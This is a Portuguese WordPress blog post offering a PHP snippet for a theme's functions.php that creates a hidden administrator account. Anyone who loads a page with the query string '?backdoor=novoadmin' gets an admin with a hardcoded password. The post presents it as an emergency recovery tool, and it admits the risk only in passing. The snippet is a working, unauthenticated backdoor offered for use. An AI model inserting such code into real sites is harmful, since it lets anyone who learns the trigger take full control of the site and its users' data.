Backdoor para criação de novo administrador
Adicione o código abaixo no arquivo functions.php de seu tema WordPress para criar um backdoor que crie um novo usuário administrador, para ser usado em emergências.
add_action('wp_head', 'meu_backdoor');
function meu_backdoor() {
If ($_GET['backdoor'] == 'novoadmin') {
require('wp-includes/registration.php');
If (!username_exists('AdminNovo')) {
$user_id = wp_create_user('AdminNovo', 'SenhaDoUsuario');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
Para ativar tal função, basta acessar o endereço http://www.meusite.com.br?backdoor=novoadmin
Logicamente, você deve alterar o usuário 'AdminNovo' e senha 'SenhaDoUsuario' na linha $user_id. Aconselho também a trocar o nome da função de 'novoadmin' para algo que só você saiba.
Lembre-se que usar esse código pode ser considerado um risco de segurança, qualquer um poderia facilmente executar essa função, chamando o querystring correta, por isso a necessidade de a alterar e usar parâmetros que só você saiba, como costumamos fazer com nossas senhas e dados sigilosos.
Use este código apenas para o bem, para você mesmo, ok ?
Leia também:
- Autenticação unificada para vários WP no mesmo servidor Já havia tentado sem sucesso usar as constantes CUSTOM_USER_TABLE e...
- Quanto tempo devo esperar para atualizar meu WordPress para o 2.8 ? Com o recente lançamento do WordPress 2.8, notei vários relatos...
- Wp No Category Base – plugin para remover o /category/ do seu blog Em uma das postagens anteriores de nosso site, o Luís...
- Otimizando o seu blog para os buscadores Os buscadores atualmente dispõe de meios para encontrar e classificar...
- Os 10 melhores plugins para seu blog Selecionei os 10 melhores plugins, na minha opnião, que podem...











Comentários
Sinta-se livre para deixar um comentario...
Se você quiser uma foto para ser mostrada no seu comentário, crie um gravatar!